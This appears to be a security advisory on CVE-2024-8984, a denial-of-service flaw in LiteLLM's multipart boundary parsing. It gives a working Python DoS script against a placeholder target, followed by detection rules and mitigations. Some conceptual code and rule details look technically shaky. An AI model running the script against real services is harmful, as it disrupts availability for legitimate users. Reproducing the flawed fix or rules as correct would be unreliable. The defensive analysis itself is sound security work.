CVE-2024-8984

Executive Summary

CVE-2024-8984 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability affecting the Berriai LiteLLM project, version v1.44.5. The flaw resides in the HTTP multipart boundary parsing logic. An unauthenticated attacker can send a crafted HTTP request with a multipart boundary that is extended by appending characters (e.g., dashes -). The server enters an infinite or extremely long processing loop for each appended character, leading to excessive CPU and memory consumption. This renders the service unavailable to legitimate users. No authentication or user interaction is required, making the attack trivial to execute. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available.

Supply Chain & Package Security

LiteLLM is a Python package distributed via PyPI. This vulnerability affects all users of the berriai/litellm package version v1.44.5. Organizations using this package in production environments are at risk of service disruption. Since the package is open-source and hosted on GitHub, supply chain risks include potential for malicious forks or compromised dependencies. Users should monitor the official repository for patch announcements and consider temporary mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service availability.

Threat Level: High. The ease of exploitation (unauthenticated, low complexity) combined with the potential for complete service disruption makes this a critical threat for any organization running the vulnerable version.

Deep Dive & Mechanics

The vulnerability is rooted in the HTTP multipart boundary parsing logic within LiteLLM. When a client sends a multipart/form-data request, the server must parse the Content-Type header to extract the boundary string. The boundary is used to separate parts of the request body.

In the vulnerable implementation, the server does not properly validate the length or termination of the boundary string. By appending characters (such as dashes -) to the end of the boundary, the attacker forces the server to repeatedly attempt to match the boundary against the request body. Each appended character causes the server to re-enter a parsing loop, consuming CPU cycles and memory. This can quickly exhaust server resources, leading to a denial of service.

The attack is unauthenticated and requires no user interaction. A single HTTP request with a malformed boundary can be sufficient to cause service disruption.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison based on the vulnerability description.

Vulnerable Code (Conceptual):

# Vulnerable boundary parsing
def parse_multipart_boundary(content_type):
    # No length check or termination condition
    boundary = content_type.split("boundary=")[1]
    # Process boundary without validation
    while True:
        # Infinite loop if boundary is malformed
        match = find_boundary_in_body(boundary)
        if not match:
            break
        # Process part

Patched Code (Conceptual):

# Patched boundary parsing
def parse_multipart_boundary(content_type):
    boundary = content_type.split("boundary=")[1]
    # Validate boundary length and characters
    if len(boundary) > 70 or not boundary.isalnum():
        raise ValueError("Invalid boundary")
    # Process boundary with proper termination
    while True:
        match = find_boundary_in_body(boundary)
        if not match:
            break
        # Process part

The patched version would include input validation to reject overly long or malformed boundaries, preventing the infinite loop.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of LiteLLM v1.44.5 in a controlled environment (e.g., Docker container).
2. Use a tool like curl or a custom Python script to send the malicious request.

Exploit Script (Python):

import requests

target_url = "http://target:8000/v1/chat/completions"
# Craft a multipart boundary with appended dashes
boundary = "----WebKitFormBoundary" + "-" * 1000
headers = {
    "Content-Type": f"multipart/form-data; boundary={boundary}"
}
# Minimal body to trigger parsing
body = f"--{boundary}\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\ntest\r\n--{boundary}--\r\n"

try:
    response = requests.post(target_url, headers=headers, data=body, timeout=5)
except requests.exceptions.Timeout:
    print("Service likely unresponsive due to DoS")

Execution:

• Run the script against the target.
• Monitor the target server's CPU and memory usage to confirm resource exhaustion.

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests with excessively long Content-Type headers or multipart boundaries.
• Use network monitoring tools to detect anomalous request patterns.

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block requests with Content-Type headers containing boundaries longer than a predefined limit (e.g., 70 characters).
• Apply rate limiting to prevent rapid exploitation attempts.
• If possible, temporarily disable multipart upload functionality until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Content-Type header containing boundary= followed by a long string of dashes or other characters.
  • High volume of requests to endpoints that accept multipart data (e.g., /v1/chat/completions).
• System IOCs:
  • Sudden spike in CPU and memory usage on the LiteLLM server.
  • Service logs showing repeated boundary parsing errors or timeouts.
• File IOCs:
  • Log entries containing boundary with excessive length.

Detection Engineering

YARA Rule

rule CVE_2024_8984_DoS_Boundary {
    meta:
        description = "Detects HTTP requests with excessively long multipart boundaries indicative of CVE-2024-8984"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $boundary = /boundary=[-A-Za-z0-9]{71,}/ nocase
    condition:
        $boundary
}

Sigma Rule

title: CVE-2024-8984 DoS via Malformed Multipart Boundary
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with a multipart boundary longer than 70 characters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'boundary='
        cs-uri-query|re: 'boundary=[-A-Za-z0-9]{71,}'
    condition: selection
falsepositives:
    - Legitimate long boundaries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8984 DoS via Malformed Multipart Boundary"; flow:to_server; content:"boundary="; pcre:"/boundary=[-A-Za-z0-9]{71,}/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable LiteLLM instance from untrusted networks.
2. Implement WAF rules to block requests with Content-Type headers containing boundaries longer than 70 characters.
3. Apply rate limiting to endpoints that accept multipart data.
4. Monitor server logs for signs of exploitation.

Long-Term Fix:

• Patch: Await an official patch from Berriai. Monitor the GitHub repository (https://github.com/BerriAI/litellm) for updates.
• Upgrade: Once a patched version is released, upgrade immediately.
• Code Review: If using a custom fork, implement input validation for multipart boundaries as shown in the patched code section.

Workaround:

• Disable multipart upload functionality if not essential, or restrict it to authenticated users only.

Valters IT